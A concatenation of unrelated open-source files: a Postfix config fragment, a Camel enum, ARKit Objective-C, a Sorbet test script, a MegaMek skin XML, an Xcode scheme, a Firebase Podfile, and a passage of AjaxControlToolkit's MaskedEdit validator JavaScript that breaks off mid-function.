permit_sasl_authenticated, reject_unauth_destination smtpd_use_tls = yes smtpd_tls_cert_file = /etc/pki/dovecot/certs/dovecot.pem smtpd_tls_key_file = /etc/pki/dovecot/private/dovecot.pem virtual_create_maildirsize = yes virtual_maildir_extended = yes proxy_read_maps = $local_recipient_maps $mydestination $virtual_alias_maps $virtual_alias_domains $virtual_mailbox_maps $virtual_mailbox_domains $relay_recipient_maps $relay_domains $canonical_maps $sender_canonical_maps $recipient_canonical_maps $relocated_maps $transport_maps $mynetworks $virtual_mailbox_limit_maps virtual_transport = dovecot dovecot_destination_recipient_limit = 1 inet_interfaces = all smtp_tls_security_level = may
{ "pile_set_name": "Github" }
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.camel.component.snmp; public enum SnmpActionType { TRAP, POLL, GET_NEXT }
{ "pile_set_name": "Github" }
// // RCTARKitSpriteView.m // RCTARKit // // Created by Marco Wettstein on 04.03.18. // Copyright © 2018 HippoAR. All rights reserved. // #import <Foundation/Foundation.h> #import "RCTARKitSpriteView.h" #import "RCTConvert+ARKit.h" #import <UIKit/UIKit.h> #import <QuartzCore/QuartzCore.h> @implementation RCTARKitSpriteView { } - (CGAffineTransform)getTransform { SCNVector3 point = [[ARKit sharedInstance] projectPoint:self.position3D]; // the sprite is behind the camera so push it off screen float yTransform = point.z < 1 ? point.y : 10000; CGAffineTransform t = CGAffineTransformMakeTranslation(point.x, yTransform); return t; } - (void)didMoveToSuperview { // set it once CGAffineTransform t = [self getTransform]; [self setTransform:t]; } - (void)renderer:(id<SCNSceneRenderer>)renderer updateAtTime:(NSTimeInterval)time { [self performSelectorOnMainThread:@selector(setTransformByProject) withObject:nil waitUntilDone:NO]; } - (void)setTransformByProject { CGAffineTransform t = [self getTransform]; [UIView beginAnimations:nil context:NULL]; [UIView setAnimationDuration:self.transitionDuration]; [self setTransform:t]; [UIView commitAnimations]; } @end
{ "pile_set_name": "Github" }
#!/bin/bash main/sorbet --silence-dev-message --dir test/cli/remove-path-prefix-https --remove-path-prefix https://git.corp.stripe.com/stripe-internal/sorbet/tree/master/ 2>&1
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!-- This is the default skin for Megamek New skins can be created by specifying UI_Element tags The defaultElement UI_Element specifies the default border to be used by UI components The defaultButton UI_Element specifies the default border and background images to use for Megamek buttons. The first image is the base default image and the second image is the pressed image NOTE: All locations should be in data/images/widgets --> <skin xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="skinSchema.xsl"> <!-- Defines default borders used in Megamek --> <UI_Element> <name>BoardViewBorder</name> <!-- Specification of border images --> <border> <!-- Corner images --> <corner_top_left>kiro/01.gif</corner_top_left> <corner_top_right>kiro/07.gif</corner_top_right> <corner_bottom_left>kiro/19.gif</corner_bottom_left> <corner_bottom_right>kiro/13.png</corner_bottom_right> <!-- Border lines: these images will be tiled --> <edge> <edgeIcon> <icon>kiro/02.gif</icon> <tiled>false</tiled> </edgeIcon> <edgeIcon> <icon>kiro/03.gif</icon> <tiled>true</tiled> </edgeIcon> <edgeIcon> <icon>kiro/04.gif</icon> <tiled>false</tiled> </edgeIcon> <edgeIcon> <icon>kiro/05.gif</icon> <tiled>true</tiled> </edgeIcon> <edgeIcon> <icon>kiro/06.gif</icon> <tiled>false</tiled> </edgeIcon> <edgeName>top</edgeName>> </edge> <edge> <edgeIcon> <icon>kiro/08.gif</icon> <tiled>false</tiled> </edgeIcon> <edgeIcon> <icon>kiro/09.png</icon> <tiled>true</tiled> </edgeIcon> <edgeIcon> <icon>kiro/10.gif</icon> <tiled>false</tiled> </edgeIcon> <edgeIcon> <icon>kiro/11.gif</icon> <tiled>true</tiled> </edgeIcon> <edgeIcon> <icon>kiro/12.gif</icon> <tiled>false</tiled> </edgeIcon> <edgeName>right</edgeName>> </edge> <edge> <edgeIcon> <icon>kiro/18.gif</icon> <tiled>false</tiled> </edgeIcon> <edgeIcon> <icon>kiro/17.gif</icon> <tiled>true</tiled> </edgeIcon> <edgeIcon> <icon>kiro/16.gif</icon> <tiled>false</tiled> </edgeIcon> <edgeIcon> <icon>kiro/15.gif</icon> <tiled>true</tiled> </edgeIcon> <edgeIcon> <icon>kiro/14.png</icon> <tiled>false</tiled> </edgeIcon> <edgeName>bottom</edgeName>> </edge> <edge> <edgeIcon> <icon>kiro/24.gif</icon> <tiled>false</tiled> </edgeIcon> <edgeIcon> <icon>kiro/23.gif</icon> <tiled>true</tiled> </edgeIcon> <edgeIcon> <icon>kiro/22.gif</icon> <tiled>false</tiled> </edgeIcon> <edgeIcon> <icon>kiro/21.gif</icon> <tiled>true</tiled> </edgeIcon> <edgeIcon> <icon>kiro/20.gif</icon> <tiled>false</tiled> </edgeIcon> <edgeName>left</edgeName>> </edge> </border> <background_image>kiro/hexpattern_02.png</background_image> <background_image>hyades.jpg</background_image> <show_scroll_bars>true</show_scroll_bars> </UI_Element> <!-- Defines the borders for the PhaseDisplay --> <UI_Element> <name>PhaseDisplayBorder</name> <!-- Specification of border images --> <border> <!-- Corner images --> <corner_top_left>monitor_top_left.png</corner_top_left> <corner_top_right>monitor_top_right.png</corner_top_right> <corner_bottom_left>monitor_bottom_left.png</corner_bottom_left> <corner_bottom_right>monitor_bottom_right.png</corner_bottom_right> <!-- Border lines: these images will be tiled --> <edge> <edgeIcon> <icon>monitor_top_line.png</icon> <tiled>true</tiled> </edgeIcon> <edgeName>top</edgeName>> </edge> <edge> <edgeIcon> <icon>monitor_right_line.png</icon> <tiled>true</tiled> </edgeIcon> <edgeName>right</edgeName>> </edge> <edge> <edgeIcon> <icon>monitor_bottom_line.png</icon> <tiled>true</tiled> </edgeIcon> <edgeName>bottom</edgeName>> </edge> <edge> <edgeIcon> <icon>monitor_left_line.png</icon> <tiled>true</tiled> </edgeIcon> <edgeName>left</edgeName>> </edge> </border> <background_image>tile.gif</background_image> <font_color>#FFFF00</font_color> </UI_Element> <!-- Defines default borders used in Megamek --> <UI_Element> <name>defaultElement</name> <!-- Specification of border images --> <border> <!-- Corner images --> <corner_top_left>monitor_top_left.png</corner_top_left> <corner_top_right>monitor_top_right.png</corner_top_right> <corner_bottom_left>monitor_bottom_left.png</corner_bottom_left> <corner_bottom_right>monitor_bottom_right.png</corner_bottom_right> <!-- Border lines: these images will be tiled --> <edge> <edgeIcon> <icon>monitor_top_line.png</icon> <tiled>true</tiled> </edgeIcon> <edgeName>top</edgeName>> </edge> <edge> <edgeIcon> <icon>monitor_right_line.png</icon> <tiled>true</tiled> </edgeIcon> <edgeName>right</edgeName>> </edge> <edge> <edgeIcon> <icon>monitor_bottom_line.png</icon> <tiled>true</tiled> </edgeIcon> <edgeName>bottom</edgeName>> </edge> <edge> <edgeIcon> <icon>monitor_left_line.png</icon> <tiled>true</tiled> </edgeIcon> <edgeName>left</edgeName>> </edge> </border> <background_image>tile.gif</background_image> </UI_Element> <!-- Defines default buttons --> <UI_Element> <name>defaultButton</name> <!-- Specification of border images --> <no_border>true</no_border> <tile_background>false</tile_background> <!-- Specification of background image --> <background_image>SpaceD/buttonNormal.png</background_image> <background_image>SpaceD/buttonPushed.png</background_image> <font_color>#ffffff</font_color> </UI_Element> <UI_Element> <name>MainMenuBorder</name> <no_border>true</no_border> <background_image>../misc/megamek_splash_spooky_fhd.png</background_image> <background_image>Bloodwolf/Parts/title/background.png</background_image> <background_image>../misc/megamek_splash_spooky_uhd.png</background_image> <background_image>../misc/megamek_splash_spooky_hd.png</background_image> <tile_background>true</tile_background> <font_color>#ffffff</font_color> <show_scroll_bars>false</show_scroll_bars> <should_bold_mouseover>false</should_bold_mouseover> </UI_Element> <UI_Element> <name>MainMenuButton</name> <no_border>true</no_border> <background_image>Bloodwolf/Parts/title/buttonNormal.png</background_image> <background_image>Bloodwolf/Parts/title/buttonPushed.png</background_image> <tile_background>false</tile_background> <font_color>#7f7f7f</font_color> <font_color>#000000</font_color> <font_color>#ffffff</font_color> <show_scroll_bars>false</show_scroll_bars> <should_bold_mouseover>false</should_bold_mouseover> <font_name>Battletech Oldstyle</font_name> <font_size>12</font_size> </UI_Element> </skin>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <Scheme LastUpgradeVersion = "0910" version = "1.3"> <BuildAction parallelizeBuildables = "YES" buildImplicitDependencies = "YES"> <BuildActionEntries> <BuildActionEntry buildForTesting = "YES" buildForRunning = "YES" buildForProfiling = "YES" buildForArchiving = "YES" buildForAnalyzing = "YES"> <BuildableReference BuildableIdentifier = "primary" BlueprintIdentifier = "97C146ED1CF9000F007C117D" BuildableName = "Runner.app" BlueprintName = "Runner" ReferencedContainer = "container:Runner.xcodeproj"> </BuildableReference> </BuildActionEntry> </BuildActionEntries> </BuildAction> <TestAction buildConfiguration = "Debug" selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB" selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB" language = "" shouldUseLaunchSchemeArgsEnv = "YES"> <Testables> </Testables> <MacroExpansion> <BuildableReference BuildableIdentifier = "primary" BlueprintIdentifier = "97C146ED1CF9000F007C117D" BuildableName = "Runner.app" BlueprintName = "Runner" ReferencedContainer = "container:Runner.xcodeproj"> </BuildableReference> </MacroExpansion> <AdditionalOptions> </AdditionalOptions> </TestAction> <LaunchAction buildConfiguration = "Debug" selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB" selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB" language = "" launchStyle = "0" useCustomWorkingDirectory = "NO" ignoresPersistentStateOnLaunch = "NO" debugDocumentVersioning = "YES" debugServiceExtension = "internal" allowLocationSimulation = "YES"> <BuildableProductRunnable runnableDebuggingMode = "0"> <BuildableReference BuildableIdentifier = "primary" BlueprintIdentifier = "97C146ED1CF9000F007C117D" BuildableName = "Runner.app" BlueprintName = "Runner" ReferencedContainer = "container:Runner.xcodeproj"> </BuildableReference> </BuildableProductRunnable> <AdditionalOptions> </AdditionalOptions> </LaunchAction> <ProfileAction buildConfiguration = "Profile" shouldUseLaunchSchemeArgsEnv = "YES" savedToolIdentifier = "" useCustomWorkingDirectory = "NO" debugDocumentVersioning = "YES"> <BuildableProductRunnable runnableDebuggingMode = "0"> <BuildableReference BuildableIdentifier = "primary" BlueprintIdentifier = "97C146ED1CF9000F007C117D" BuildableName = "Runner.app" BlueprintName = "Runner" ReferencedContainer = "container:Runner.xcodeproj"> </BuildableReference> </BuildableProductRunnable> </ProfileAction> <AnalyzeAction buildConfiguration = "Debug"> </AnalyzeAction> <ArchiveAction buildConfiguration = "Release" revealArchiveInOrganizer = "YES"> </ArchiveAction> </Scheme>
{ "pile_set_name": "Github" }
# Uncomment the next line to define a global platform for your project platform :ios, '9.0' target 'CocoapodsIntegrationTest' do pod 'FirebaseABTesting', :path => '../' pod 'FirebaseAppDistribution', :path => '../' pod 'FirebaseCore', :path => '../' pod 'FirebaseCoreDiagnostics', :path => '../' pod 'FirebaseCrashlytics', :path => '../' pod 'FirebaseAuth', :path => '../' pod 'FirebaseDatabase', :path => '../' pod 'FirebaseDynamicLinks', :path => '../' pod 'FirebaseFirestore', :path => '../' pod 'FirebaseFunctions', :path => '../' pod 'FirebaseInAppMessaging', :path => '../' pod 'FirebaseInstallations', :path => '../' pod 'FirebaseInstanceID', :path => '../' pod 'FirebaseMessaging', :path => '../' pod 'FirebaseStorage', :path => '../' pod 'GoogleDataTransport', :path => '../' pod 'GoogleUtilities', :path => '../' end
{ "pile_set_name": "Github" }
function MaskedEditSetMessage(value, msg, txt) { value.errormessage = msg; if(txt == "") value.text = msg; else value.text = txt; value.innerHTML = value.text; } function MaskedEditMessageShow(value, IsValid) { if(typeof (value.display) == "string") { if(value.display == "None") return; if(value.display == "Dynamic") { value.style.display = IsValid ? "none" : "inline"; return; } } value.style.visibility = IsValid ? "hidden" : "visible"; } function MaskedEditSetCssClass(value, Css) { var target = $get(value.TargetValidator); Sys.UI.DomElement.removeCssClass(target, value.InvalidValueCssClass); Sys.UI.DomElement.removeCssClass(target, value.CssBlurNegative); Sys.UI.DomElement.removeCssClass(target, value.CssFocus); Sys.UI.DomElement.removeCssClass(target, value.CssFocusNegative); if(Css != "") Sys.UI.DomElement.addCssClass(target, Css); } function MaskedEditValidatorDateTime(value) { MaskedEditSetMessage(value, "", ""); MaskedEditSetCssClass(value, ""); MaskedEditMessageShow(value, true); if(value.IsMaskedEdit == "false") return true; var target = $get(value.TargetValidator); if(value.ValidEmpty == "false") { if(Sys.Extended.UI.TextBoxWrapper.get_Wrapper(target).get_Value() == value.InitialValue) { MaskedEditSetMessage(value, value.EmptyValueMessage, value.EmptyValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); MaskedEditMessageShow(value, false); return false; } } if(Sys.Extended.UI.TextBoxWrapper.get_Wrapper(target).get_Value() == "") return true; var ret = true, mask = Sys.Extended.UI.TextBoxWrapper.get_Wrapper(target).get_Value(); // regular Exp if(value.ValidationExpression != "") { var rx = new RegExp(value.ValidationExpression), matches = rx.exec(mask); ret = (matches != null && mask == matches[0]); if(!ret) { MaskedEditSetMessage(value, value.InvalidValueMessage, value.InvalidValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); MaskedEditMessageShow(value, false); return false; } } var PartDate = target.MaskedEditBehavior.AutoFormatDate(), PartTime = target.MaskedEditBehavior.AutoFormatTime(), MinVlDt = "", MinVlTm = ""; if(value.MinimumValue != "") { MinVlDt = value.MinimumValue.split(" ")[0]; MinVlTm = value.MinimumValue.split(" ")[1]; } var MaxVlDt = "", MaxVlTm = ""; if(value.MaximumValue != "") { MaxVlDt = value.MaximumValue.split(" ")[0]; MaxVlTm = value.MaximumValue.split(" ")[1]; } ret = MaskedEditValidatorPartDate(value, PartDate, MinVlDt, MaxVlDt); if(ret) ret = MaskedEditValidatorPartTime(value, PartTime, MinVlTm, MaxVlTm); // custom valid if(ret && value.ClientValidationFunction != "") { var args = { Value: mask, IsValid: true }; eval(value.ClientValidationFunction + "(value, args);"); ret = args.IsValid; if(!ret) { MaskedEditSetMessage(value, value.InvalidValueMessage, value.InvalidValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); } } if(!ret) MaskedEditMessageShow(value, ret); return ret; } function MaskedEditValidatorPartTime(value, mask, MinVl, MaxVl) { var ret = true, AttibTmSep = value.TimeSeparator, AttibTmSyb = value.AmPmSymbol; // hh:mm or hh:mm:ss var SybTm = AttibTmSyb.split(";"), tm = AttibTmSyb.replace(";", "|"), reg1 = "^(^([0][0-9]|[1][0-2])" + AttibTmSep + "([0-5][0-9])" + AttibTmSep + "([0-5][0-9])\\s(" + tm + ")$)|(^([0][0-9]|[1][0-2])" + AttibTmSep + "([0-5][0-9])\\s(" + tm + ")$)$", reg2 = "^(^([0-1][0-9]|[2][0-3])" + AttibTmSep + "([0-5][0-9])" + AttibTmSep + "([0-5][0-9])$)|(^([0-1][0-9]|[2][0-3])" + AttibTmSep + "([0-5][0-9])$)$", H = -1, M = -1, S = -1, aux = "", m_arrValue = mask.split(AttibTmSep), regex1 = new RegExp(reg1), matches1 = regex1.exec(mask), regex2 = new RegExp(reg2), matches2 = regex2.exec(mask); if(matches1 && (matches1[0] == mask)) { aux = mask.substring(mask.length - 2).substring(0, 1); H = parseInt(m_arrValue[0], 10); if(aux.toUpperCase() == SybTm[1].substring(0, 1).toUpperCase()) { H += 12; if(H == 24) H = 12; } M = parseInt(m_arrValue[1], 10); S = (value.length > 9 ? parseInt(m_arrValue[2].substring(0, 2), 10) : 0); } else if(matches2 && (matches2[0] == mask)) { H = parseInt(m_arrValue[0], 10); M = parseInt(m_arrValue[1], 10); S = (mask.length > 5 ? parseInt(m_arrValue[2], 10) : 0); } if(H == -1 || M == -1 || S == -1) ret = false; if(!ret) { MaskedEditSetMessage(value, value.InvalidValueMessage, value.InvalidValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); } if(ret && (MaxVl != "" || MinVl != "")) { var Hr, Mr, Sr, m_arr; if(MinVl != "") { Hr = -1; Mr = -1; Sr = -1; m_arr = MinVl.split(AttibTmSep); matches1 = regex1.exec(MinVl); matches2 = regex2.exec(MinVl); if(matches1 && (matches1[0] == MinVl)) { aux = MinVl.substring(MinVl.length - 2).substring(0, 1); Hr = parseInt(m_arr[0], 10); if(aux.toUpperCase() == SybTm[1].substring(0, 1).toUpperCase()) { Hr += 12; if(Hr == 24) Hr = 0; } Mr = parseInt(m_arr[1], 10); Sr = (MinVl.length > 9 ? parseInt(m_arr[2].substring(0, 2), 10) : 0); } else if(matches2 && (matches2[0] == MinVl)) { Hr = parseInt(m_arr[0], 10); Mr = parseInt(m_arr[1], 10); Sr = (MinVl.length > 5 ? parseInt(m_arr[2], 10) : 0); } ret = (H > Hr || (H == Hr && M > Mr) || (H == Hr && M == Mr && S >= Sr)); if(!ret) { MaskedEditSetMessage(value, value.MinimumValueMessage, value.MinimumValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); } } if(MaxVl != "" && ret) { Hr = -1; Mr = -1; Sr = -1; m_arr = MaxVl.split(AttibTmSep); matches1 = regex1.exec(MaxVl); matches2 = regex2.exec(MaxVl); if(matches1 && (matches1[0] == MaxVl)) { aux = MaxVl.substring(MaxVl.length - 2).substring(0, 1); Hr = parseInt(m_arr[0], 10); if(aux.toUpperCase() == SybTm[1].substring(0, 1).toUpperCase()) { Hr += 12; if(Hr == 24) Hr = 0; } Mr = parseInt(m_arr[1], 10); Sr = (MaxVl.length > 9 ? parseInt(m_arr[2].substring(0, 2), 10) : 0); } else if(matches2 && (matches2[0] == MaxVl)) { Hr = parseInt(m_arr[0], 10); Mr = parseInt(m_arr[1], 10); Sr = (MaxVl.length > 5 ? parseInt(m_arr[2], 10) : 0); } ret = (H < Hr || (H == Hr && M < Mr) || (H == Hr && M == Mr && S <= Sr)); if(!ret) { MaskedEditSetMessage(value, value.MaximumValueMessage, value.MaximumValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); } } } return ret; } function MaskedEditValidatorPartDate(value, mask, MinVl, MaxVl) { var ret = true, AttibDtFmt = "MDY"; switch(value.DateFormat) { case "DayMonthYear": case "DMY": AttibDtFmt = "DMY"; break; case "DayYearMonth": case "DYM": AttibDtFmt = "DYM"; break; case "MonthDayYear": case "MDY": AttibDtFmt = "MDY"; break; case "MonthYearDay": case "MYD": AttibDtFmt = "MYD"; break; case "YearDayMonth": case "YDM": AttibDtFmt = "YDM"; break; case "YearMonthDay": case "YMD": AttibDtFmt = "YMD"; break; } var AttibDtSep = value.DateSeparator, m_arrDate = mask.split(AttibDtSep); if(parseInt(m_arrDate.length, 10) != 3) { MaskedEditSetMessage(value, value.InvalidValueMessage, value.InvalidValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); ret = false; } if(AttibDtFmt.indexOf("D") == -1 || AttibDtFmt.indexOf("M") == -1 || AttibDtFmt.indexOf("Y") == -1) { MaskedEditSetMessage(value, value.InvalidValueMessage, value.InvalidValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); ret = false; } var D = -1, M = -1, Y = -1; if(ret) { D = parseInt(m_arrDate[AttibDtFmt.indexOf("D")], 10); M = parseInt(m_arrDate[AttibDtFmt.indexOf("M")], 10); Y = parseInt(m_arrDate[AttibDtFmt.indexOf("Y")], 10) ret = (D > 0 && M > 0 && Y > 0 && (D <= [, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31][M] || D == 29 && M == 2 && Y % 4 == 0 && (Y % 100 > 0 || Y % 400 == 0))); } if(!ret) { MaskedEditSetMessage(value, value.InvalidValueMessage, value.InvalidValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); } if(ret && (MaxVl != "" || MinVl != "")) { var m_arr, Dr = -1, Mr = -1, Yr = -1; if(MinVl != "") { m_arr = MinVl.split(AttibDtSep); Dr = parseInt(m_arr[AttibDtFmt.indexOf("D")], 10); Mr = parseInt(m_arr[AttibDtFmt.indexOf("M")], 10); Yr = parseInt(m_arr[AttibDtFmt.indexOf("Y")], 10); ret = (Dr > 0 && Mr > 0 && Yr > 0 && Y > Yr || (Y == Yr && M > Mr) || (Y == Yr && M == Mr && D >= Dr)); if(!ret) { MaskedEditSetMessage(value, value.MinimumValueMessage, value.MinimumValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); } } if(ret && MaxVl != "") { m_arr = MaxVl.split(AttibDtSep); Dr = parseInt(m_arr[AttibDtFmt.indexOf("D")], 10); Mr = parseInt(m_arr[AttibDtFmt.indexOf("M")], 10); Yr = parseInt(m_arr[AttibDtFmt.indexOf("Y")], 10); ret = (Dr > 0 && Mr > 0 && Yr > 0 && Y < Yr || (Y == Yr && M < Mr) || (Y == Yr && M == Mr && D <= Dr)); if(!ret) { MaskedEditSetMessage(value, value.MaximumValueMessage, value.MaximumValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); } } } return ret; } function MaskedEditValidatorDate(value) { MaskedEditSetMessage(value, "", ""); MaskedEditSetCssClass(value, ""); MaskedEditMessageShow(value, true); if(value.IsMaskedEdit == "false") return true; var target = $get(value.TargetValidator); if(value.ValidEmpty == "false") { if(Sys.Extended.UI.TextBoxWrapper.get_Wrapper(target).get_Value() == value.InitialValue) { MaskedEditSetMessage(value, value.EmptyValueMessage, value.EmptyValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); MaskedEditMessageShow(value, false); return false; } } if(Sys.Extended.UI.TextBoxWrapper.get_Wrapper(target).get_Value() == "") return true; var ret = true, mask = Sys.Extended.UI.TextBoxWrapper.get_Wrapper(target).get_Value(); // regular Exp if(value.ValidationExpression != "") { var rx = new RegExp(value.ValidationExpression), matches = rx.exec(mask); ret = (matches != null && mask == matches[0]); if(!ret) { MaskedEditSetMessage(value, value.InvalidValueMessage, value.InvalidValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); MaskedEditMessageShow(value, false); return false; } } ret = MaskedEditValidatorPartDate(value, mask, value.MinimumValue, value.MaximumValue); if(ret && value.ClientValidationFunction != "") { var args = { Value: mask, IsValid: true }; eval(value.ClientValidationFunction + "(value, args);"); ret = args.IsValid; if(!ret) { MaskedEditSetMessage(value, value.InvalidValueMessage, value.InvalidValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); } } if(!ret) MaskedEditMessageShow(value, ret); return ret; } // Validator time function MaskedEditValidatorTime(value) { MaskedEditSetMessage(value, "", ""); MaskedEditSetCssClass(value, ""); MaskedEditMessageShow(value, true); if(value.IsMaskedEdit == "false") return true; var target = $get(value.TargetValidator); if(value.ValidEmpty == "false") { if(Sys.Extended.UI.TextBoxWrapper.get_Wrapper(target).get_Value() == value.InitialValue) { MaskedEditSetMessage(value, value.EmptyValueMessage, value.EmptyValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); MaskedEditMessageShow(value, false); return false; } } if(Sys.Extended.UI.TextBoxWrapper.get_Wrapper(target).get_Value() == "") return true; var ret = true, mask = Sys.Extended.UI.TextBoxWrapper.get_Wrapper(target).get_Value(); // regular Exp if(value.ValidationExpression != "") { var rx = new RegExp(value.ValidationExpression), matches = rx.exec(mask); ret = (matches != null && mask == matches[0]); if(!ret) { MaskedEditSetMessage(value, value.InvalidValueMessage, value.InvalidValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); MaskedEditMessageShow(value, false); return false; } } ret = MaskedEditValidatorPartTime(value, mask, value.MinimumValue, value.MaximumValue); if(ret && value.ClientValidationFunction != "") { var args = { Value: mask, IsValid: true }; eval(value.ClientValidationFunction + "(value, args);"); ret = args.IsValid; if(!ret) { MaskedEditSetMessage(value, value.InvalidValueMessage, value.InvalidValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); } } if(!ret) MaskedEditMessageShow(value, ret); return ret; } // Validator Number function MaskedEditValidatorNumber(value) { MaskedEditSetMessage(value, "", ""); MaskedEditSetCssClass(value, ""); MaskedEditMessageShow(value, true); if(value.IsMaskedEdit == "false") return true; var target = $get(value.TargetValidator), numVal = Sys.Extended.UI.TextBoxWrapper.get_Wrapper(target).get_Value().replace(new RegExp("(\[\w_.,\s\$ ])", "g"), ""); if(value.ValidEmpty == "false") { if(numVal == value.InitialValue) { MaskedEditSetMessage(value, value.EmptyValueMessage, value.EmptyValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); MaskedEditMessageShow(value, false); return false; } } if(numVal == "") return true; var ret = true, AttibThSep = value.Thousands, AttibDcSep = value.Decimal, AttibCuSyb = value.Money, AttibLastPos = value.LastMaskPosition + AttibCuSyb.length + 1; var mask = Sys.Extended.UI.TextBoxWrapper.get_Wrapper(target).get_Value(); if(value.ValidationExpression != "") { var rx = new RegExp(value.ValidationExpression), matches = rx.exec(mask); ret = (matches != null && mask == matches[0]); if(!ret) { MaskedEditSetMessage(value, value.InvalidValueMessage, value.InvalidValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); MaskedEditMessageShow(value, false); return false; } } ret = false; var cleanInput = null, exp = null, m = null, num = null, Compnum = null; mask = mask.replace(new RegExp("(\\" + AttibThSep + ")", "g"), ""); mask = mask.replace(new RegExp("(\\" + AttibCuSyb + ")", "g"), ""); // trim m = mask.match(/^\s*(\S+(\s+\S+)*)\s*$/); if(m != null) mask = m[1]; // integer exp = /^\s*[-\+]?\d+\s*$/; if(mask.match(exp) != null) { num = parseInt(mask, 10); ret = (num == (isNaN(num) ? null : num)); } if(ret) { if(value.MaximumValue != "") { Compnum = parseInt(value.MaximumValue, 10); if(Compnum == (isNaN(Compnum) ? null : Compnum)) if(num > Compnum) { ret = false; MaskedEditSetMessage(value, value.MaximumValueMessage, value.MaximumValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); } } if(ret && value.MinimumValue != "") { Compnum = parseInt(value.MinimumValue, 10); if(Compnum == (isNaN(Compnum) ? null : Compnum)) if(num < Compnum) { ret = false; MaskedEditSetMessage(value, value.MinimumValueMessage, value.MinimumValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); } } } else { // float exp = new RegExp("^\\s*([-\\+])?(\\d+)?(\\" + AttibDcSep + "(\\d+))?\\s*$"); m = mask.match(exp); if(m != null) { cleanInput = null; if(typeof (m[1]) != "undefined") cleanInput = m[1] + (m[2].length > 0 ? m[2] : "0") + "." + m[4]; else cleanInput = (m[2].length > 0 ? m[2] : "0") + "." + m[4]; num = parseFloat(cleanInput); ret = (num == (isNaN(num) ? null : num)); } if(!ret) { MaskedEditSetMessage(value, value.InvalidValueMessage, value.InvalidValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); } if(ret) { if(value.MaximumValue != "") { Compnum = parseFloat(value.MaximumValue); if(Compnum == (isNaN(Compnum) ? null : Compnum)) if(num > Compnum) { ret = false; MaskedEditSetMessage(value, value.MaximumValueMessage, value.MaximumValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); } } if(ret && value.MinimumValue != "") { Compnum = parseFloat(value.MinimumValue); if(Compnum == (isNaN(Compnum) ? null : Compnum)) if(num < Compnum) { ret = false; MaskedEditSetMessage(value, value.MinimumValueMessage, value.MinimumValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); } } } } if(ret && value.ClientValidationFunction != "") { var args = { Value: mask, IsValid: true }; eval(value.ClientValidationFunction + "(value, args);"); ret = args.IsValid; if(!ret) { MaskedEditSetMessage(value, value.InvalidValueMessage, value.InvalidValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); } } if(!ret) MaskedEditMessageShow(value, ret); return ret; } // Validator None function MaskedEditValidatorNone(value) { MaskedEditSetMessage(value, "", ""); MaskedEditSetCssClass(value, ""); MaskedEditMessageShow(value, true); if(value.IsMaskedEdit == "false") return true; var target = $get(value.TargetValidator); if(value.ValidEmpty == "false") if(Sys.Extended.UI.TextBoxWrapper.get_Wrapper(target).get_Value() == value.InitialValue) { MaskedEditSetMessage(value, value.EmptyValueMessage, value.EmptyValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); MaskedEditMessageShow(value, false); return false; } if(Sys.Extended.UI.TextBoxWrapper.get_Wrapper(target).get_Value() == "") return true; var ret = true, mask = Sys.Extended.UI.TextBoxWrapper.get_Wrapper(target).get_Value(); if(value.ValidationExpression != "") { var rx = new RegExp(value.ValidationExpression), matches = rx.exec(mask); ret = (matches != null && mask == matches[0]); if(!ret) { MaskedEditSetMessage(value, value.InvalidValueMessage, value.InvalidValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); MaskedEditMessageShow(value, false); return false; } } var exp = /^\d+\s*$/, num = null; if(value.MaximumValue != "") if(value.MaximumValue.match(exp) != null) { num = parseInt(value.MaximumValue, 10); if(num == (isNaN(num) ? null : num)) if(mask.length > num) { ret = false; MaskedEditSetMessage(value, value.MaximumValueMessage, value.MaximumValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); } } if(ret && value.MinimumValue != "") if(value.MinimumValue.match(exp) != null) { num = parseInt(value.MinimumValue, 10); if(num == (isNaN(num) ? null : num)) if(mask.length < num) { ret = false; MaskedEditSetMessage(value, value.MinimumValueMessage, value.MinimumValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); } } if(ret && value.ClientValidationFunction != "") { var args = { Value: mask, IsValid: true }; 